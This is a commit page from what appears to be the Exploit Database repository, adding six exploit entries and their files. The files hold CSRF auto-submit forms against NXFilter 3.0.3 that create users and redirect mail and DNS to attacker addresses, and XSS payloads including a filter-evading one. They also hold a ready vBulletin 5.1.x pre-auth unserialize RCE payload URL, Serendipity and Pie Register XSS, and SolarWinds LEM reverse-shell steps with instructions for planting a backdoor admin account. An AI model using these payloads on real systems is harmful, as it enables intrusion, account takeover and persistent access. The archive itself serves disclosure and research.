Skip to content

Commit 58b97ca

Browse files
author
Offensive Security
committed
DB: 2015-11-07
6 new exploits
1 parent c4e7f4c commit 58b97ca

7 files changed

Lines changed: 352 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34816,6 +34816,8 @@ id,file,description,date,author,platform,type,port
3481634816
38534,platforms/php/webapps/38534.php,"Joomla 3.2.x - 3.4.4 - SQL Injection",2015-10-26,"Manish Tanwar",php,webapps,0
3481734817
38535,platforms/osx/remote/38535.rb,"Safari User-Assisted Applescript Exec Attack",2015-10-26,metasploit,osx,remote,0
3481834818
38538,platforms/multiple/dos/38538.py,"Code::Blocks Denial of Service Vulnerability",2013-05-29,ariarat,multiple,dos,0
34819+
38644,platforms/windows/remote/38644.txt,"Solarwinds Log and Event Manager/Trigeo SIM 6.1.0 - Remote Command Execution",2015-11-06,"Chris Graham",windows,remote,0
34820+
38645,platforms/jsp/webapps/38645.txt,"NXFilter 3.0.3 - CSRF Vulnerabilities",2015-11-06,hyp3rlinx,jsp,webapps,0
3481934821
38540,platforms/osx/local/38540.rb,"Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation",2015-10-27,metasploit,osx,local,0
3482034822
38541,platforms/php/remote/38541.rb,"Th3 MMA mma.php Backdoor Arbitrary File Upload",2015-10-27,metasploit,php,remote,80
3482134823
38542,platforms/windows/local/38542.cpp,"Win10Pcap - Local Privilege Escalation Vulnerability",2015-10-27,R00tkitSMM,windows,local,0
@@ -34905,6 +34907,8 @@ id,file,description,date,author,platform,type,port
3490534907
38626,platforms/multiple/dos/38626.py,"FileCOPA FTP Server Remote Denial of Service Vulnerability",2013-07-01,Chako,multiple,dos,0
3490634908
38627,platforms/android/remote/38627.sh,"Google Android 'APK' code Remote Security Bypass Vulnerability",2013-07-03,"Bluebox Security",android,remote,0
3490734909
38628,platforms/php/webapps/38628.txt,"HostBill 'cpupdate.php' Authentication Bypass Vulnerability",2013-05-29,localhost.re,php,webapps,0
34910+
38629,platforms/php/webapps/38629.txt,"vBulletin 5.1.x - PreAuth 0day Remote Code Execution Exploit",2015-11-05,hhjj,php,webapps,0
34911+
38642,platforms/php/webapps/38642.txt,"Serendipity 1.6.2 'serendipity_admin_image_selector.php' Cross Site Scripting Vulnerability",2013-07-12,"Omar Kurt",php,webapps,0
3490834912
38633,platforms/multiple/remote/38633.pl,"Intelligent Platform Management Interface Information Disclosure Vulnerability",2013-07-02,"Dan Farmer",multiple,remote,0
3490934913
38634,platforms/ios/remote/38634.txt,"Air Drive Plus Multiple Input Vallidation Vulnerabilities",2013-07-09,"Benjamin Kunz Mejri",ios,remote,0
3491034914
38635,platforms/php/webapps/38635.txt,"iVote 'details.php' SQL Injection Vulnerability",2013-07-10,"Ashiyane Digital Security Team",php,webapps,0
@@ -34914,3 +34918,5 @@ id,file,description,date,author,platform,type,port
3491434918
38639,platforms/php/webapps/38639.txt,"miniBB SQL Injection and Multiple Cross Site Scripting Vulnerabilities",2013-07-11,Netsparker,php,webapps,0
3491534919
38640,platforms/multiple/webapps/38640.rb,"OpenSSL Alternative Chains Certificate Forgery",2015-11-05,"Ramon de C Valle",multiple,webapps,0
3491634920
38641,platforms/multiple/webapps/38641.rb,"JSSE SKIP-TLS Exploit",2015-11-05,"Ramon de C Valle",multiple,webapps,0
34921+
38643,platforms/php/webapps/38643.txt,"WordPress Pie Register Plugin 'wp-login.php' Multiple Cross Site Scripting Vulnerabilities",2013-07-12,gravitylover,php,webapps,0
34922+
38646,platforms/jsp/webapps/38646.txt,"NXFilter 3.0.3 - Multiple XSS Vulnerabilities",2015-11-06,hyp3rlinx,jsp,webapps,0

‎platforms/jsp/webapps/38645.txt‎

Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
[+] Credits: hyp3rlinx
2+
3+
[+] Website: hyp3rlinx.altervista.org
4+
5+
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-CSRF.txt
6+
7+
8+
Vendor:
9+
================================
10+
www.nxfilter.org/p2/
11+
12+
13+
Product:
14+
================================
15+
NXFilter v3.0.3
16+
17+
18+
Vulnerability Type:
19+
=================================
20+
Cross site request forgery - CSRF
21+
22+
23+
CVE Reference:
24+
==============
25+
N/A
26+
27+
28+
Vulnerability Details:
29+
=====================
30+
No CSRF protections exist allowing us to make malicious HTTP requests on
31+
behalf of our victim.
32+
The Server will then happily process any of the following actions if our
33+
victim clicks our infected linx
34+
or visits our malicious website while currently logged in to the vulnerable
35+
application.
36+
37+
1) "add arbitrary users"
38+
2) "add or change SMTP settings"
39+
3) "add arbitrary redirect domains"
40+
4) "add arbitrary zone transfers"
41+
5) "delete zone transfer domains"
42+
43+
44+
Exploit code(s):
45+
===============
46+
47+
<!DOCTYPE>
48+
<html>
49+
<head>
50+
<title></title>
51+
52+
<body onLoad="doit()">
53+
54+
<script>
55+
function doit(){
56+
var e=document.getElementById('HELL')
57+
e.submit()
58+
}
59+
</script>
60+
61+
62+
63+
1) CSRF add arbitrary users
64+
65+
<form id="HELL" action="http://localhost/user,user.jsp" method="post">
66+
<input type="text" name="action_flag" value="insert" >
67+
<input type="text" name="name" value="punksnotdead">
68+
<input type="text" name="description" value="<script>alert(666)</script>">
69+
<---- and some persistent XSS!
70+
</form>
71+
72+
73+
2) CSRF add or change SMTP notification alerts
74+
75+
<form id="HELL" action="http://localhost/config,alert.jsp" method="post">
76+
<input type="text" name="action_flag" value="update" >
77+
<input type="text" name="admin_email" value="ghostofsin@abyss.com">
78+
<input type="text" name="smtp_host" value="6.6.6.0">
79+
<input type="text" name="smtp_port" value="25">
80+
<input type="text" name="smtp_user" value="hyp3rlinx">
81+
<input type="text" name="smtp_passwd" value="abc123">
82+
<input type="text" name="period" value="0">
83+
<input type="text" name="token" value="">
84+
</form>
85+
86+
87+
88+
3) CSRF add arbitrary redirect domain
89+
90+
<form id="HELL" action="http://localhost/config,redirection.jsp"
91+
method="post">
92+
<input type="text" name="action_flag" value="insert" >
93+
<input type="text" name="src" value="hyp3rlinx.altervista.org">
94+
<input type="text" name="dst" value="6.6.6.0">
95+
</form>
96+
97+
98+
99+
4) CSRF add arbitrary zone transfers
100+
101+
<form id="HELL" action="http://localhost/config,zone_transfer.jsp"
102+
method="post">
103+
<input type="text" name="action_flag" value="insert" >
104+
<input type="text" name="domain" value="hyp3rlinx.altervista.org">
105+
<input type="text" name="ip" value="6.6.6.0">
106+
</form>
107+
108+
109+
110+
5) CSRF delete zone transfer domains
111+
112+
http://localhost/config,zone_transfer.jsp?action_flag=delete&id=1
113+
114+
115+
Disclosure Timeline:
116+
======================================
117+
Vendor Notification: October 18, 2015
118+
November 5, 2015 : Public Disclosure
119+
120+
121+
Exploitation Technique:
122+
=======================
123+
Remote
124+
125+
126+
Severity Level:
127+
===============
128+
High
129+
130+
131+
Description:
132+
==========================================================
133+
134+
Request Method(s): [+] GET / POST
135+
136+
137+
Vulnerable Product: [+] NXFilter v3.0.3
138+
139+
140+
===========================================================
141+
142+
[+] Disclaimer
143+
Permission is hereby granted for the redistribution of this advisory,
144+
provided that it is not altered except by reformatting it, and that due
145+
credit is given. Permission is explicitly given for insertion in
146+
vulnerability databases and similar, provided that due credit is given to
147+
the author.
148+
The author is not responsible for any misuse of the information contained
149+
herein and prohibits any malicious use of all security related information
150+
or exploits by the author or elsewhere.
151+
152+
by hyp3rlinx

‎platforms/jsp/webapps/38646.txt‎

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
[+] Credits: hyp3rlinx
2+
3+
[+] Website: hyp3rlinx.altervista.org
4+
5+
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-XSS.txt
6+
7+
8+
Vendor:
9+
================================
10+
www.nxfilter.org/p2/
11+
12+
13+
Product:
14+
================================
15+
NXFilter v3.0.3
16+
17+
18+
Vulnerability Type:
19+
=========================
20+
Persistent & Reflected XSS
21+
22+
23+
CVE Reference:
24+
==============
25+
N/A
26+
27+
28+
Vulnerability Details:
29+
=====================
30+
Persistent & reflected XSS entry points exist allowing arbitrary client
31+
side browser code execution
32+
on victims who click our infected linx or visit persistently stored XSS
33+
payloads. XSS strings seem
34+
to get filtered, yet we can defeat that using JS String.fromCharCode()
35+
functions.
36+
37+
38+
Exploit code(s):
39+
===============
40+
41+
1) persistent XSS under category / custom
42+
"name" parameter is vulnerable to persistent XSS injection using POST
43+
method.
44+
45+
http://localhost/category,custom.jsp
46+
<input type="text" name="description" value="<script>alert(666)</script>"
47+
size="50">
48+
49+
50+
2) reflected XSS
51+
52+
http://localhost/classifier,ruleset.jsp?action_flag=&page=1&kw=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&id=&domain=&keyword=&points=
53+
54+
55+
56+
3) reflected XSS
57+
58+
http://localhost/report,daily.jsp?stime=2015%2F10%2F17&time_option=yesterday&user=%22/%3E%3Cscript%3Ealert%28String.fromCharCode%2872%29%2bString.fromCharCode%2869%29%2bString.fromCharCode%2876%29%2bString.fromCharCode%2876%29%29%3C/script%3E
59+
60+
61+
62+
Disclosure Timeline:
63+
=======================================
64+
Vendor Notification: October 18, 2015
65+
November 5, 2015 : Public Disclosure
66+
67+
68+
Exploitation Technique:
69+
=======================
70+
Remote
71+
72+
73+
Severity Level:
74+
===================================================
75+
High
76+
77+
78+
Description:
79+
==================================================
80+
Request Method(s): [+] GET / POST
81+
82+
83+
Vulnerable Product: [+] NXFilter v3.0.3
84+
85+
86+
Vulnerable Parameter(s): [+] name, user, kw
87+
88+
89+
90+
===========================================================
91+
92+
[+] Disclaimer
93+
Permission is hereby granted for the redistribution of this advisory,
94+
provided that it is not altered except by reformatting it, and that due
95+
credit is given. Permission is explicitly given for insertion in
96+
vulnerability databases and similar, provided that due credit is given to
97+
the author.
98+
The author is not responsible for any misuse of the information contained
99+
herein and prohibits any malicious use of all security related information
100+
or exploits by the author or elsewhere.
101+
102+
by hyp3rlinx

‎platforms/php/webapps/38629.txt‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# Exploit Title: Vbulletin 5.1.X unserialize 0day preauth RCE exploit
2+
# Date: Nov 4th, 2015
3+
# Exploit Author: hhjj
4+
# Vendor Homepage: http://www.vbulletin.com/
5+
# Version: 5.1.x
6+
# Tested on: Debian
7+
# CVE :
8+
# I did not discover this exploit, leaked from the IoT.
9+
10+
# Build the object
11+
php << 'eof'
12+
<?php
13+
class vB_Database {
14+
public $functions = array();
15+
16+
public function __construct()
17+
{
18+
$this->functions['free_result'] = 'phpinfo';
19+
}
20+
}
21+
22+
class vB_dB_Result {
23+
protected $db;
24+
protected $recordset;
25+
26+
public function __construct()
27+
{
28+
$this->db = new vB_Database();
29+
$this->recordset = 1;
30+
}
31+
}
32+
33+
print urlencode(serialize(new vB_dB_Result())) . "\n";
34+
eof
35+
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D
36+
37+
#Then hit decodeArguments with your payload :
38+
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

‎platforms/php/webapps/38642.txt‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
source: http://www.securityfocus.com/bid/61138/info
2+
3+
Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
4+
5+
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
Serendipity 1.6.2 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117
10+
&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
11+
&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117
12+
13+
http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117

‎platforms/php/webapps/38643.txt‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
source: http://www.securityfocus.com/bid/61140/info
2+
3+
Pie Register plugin for WordPress is prone to multiple cross-site scripting vulnerabilities.
4+
5+
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
Pie Register 1.30 is vulnerable; other versions may also be affected.
8+
9+
<?php echo $_POST['pass1'];?>
10+
<?php echo $_POST['pass2'];?>

‎platforms/windows/remote/38644.txt‎

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
Requirements:
2+
3+
Python 2.7
4+
netcat
5+
6+
Tested on:
7+
Ubuntu 14.04 LTS
8+
9+
Vulnerable Appliance Version: 6.1.0
10+
Download: http://downloads.solarwinds.com/solarwinds/Release/LEM/SolarWinds-LEM-v6.1.0-Evaluation-VMware.exe
11+
12+
Instructions:
13+
14+
The exploit_lem.py script will need to be run sudo since it uses sockets
15+
which bind to port 21 and 80. These could be changed, but the rest of
16+
the script would need to be modified as well.
17+
18+
Prior to running the python script, set up a netcat listener for the
19+
reverse shell: netcat -l 4444
20+
21+
Example: sudo python exploit_lem.py -t 192.168.1.100 -b 192.168.1.101 -l 192.168.1.101 -lp 4444
22+
23+
After access has been gained to the appliance, a new admin user can be added to the web console
24+
by editing /usr/local/contego/run/manager/UserContextLibrary.xml. Simply copy the xml structure
25+
for the admin user that is already in there and then change the fields to create a new user. In
26+
order to get a valid password hash, use the gen_pass_hash.py script included with this package.
27+
Please note that a manager restart will be needed before you can login with the new user. This
28+
can be accomplished by running "/etc/init.d/contego-manager restart"
29+
30+
Proof of Concept:
31+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38644.zip

0 commit comments

Comments
 (0)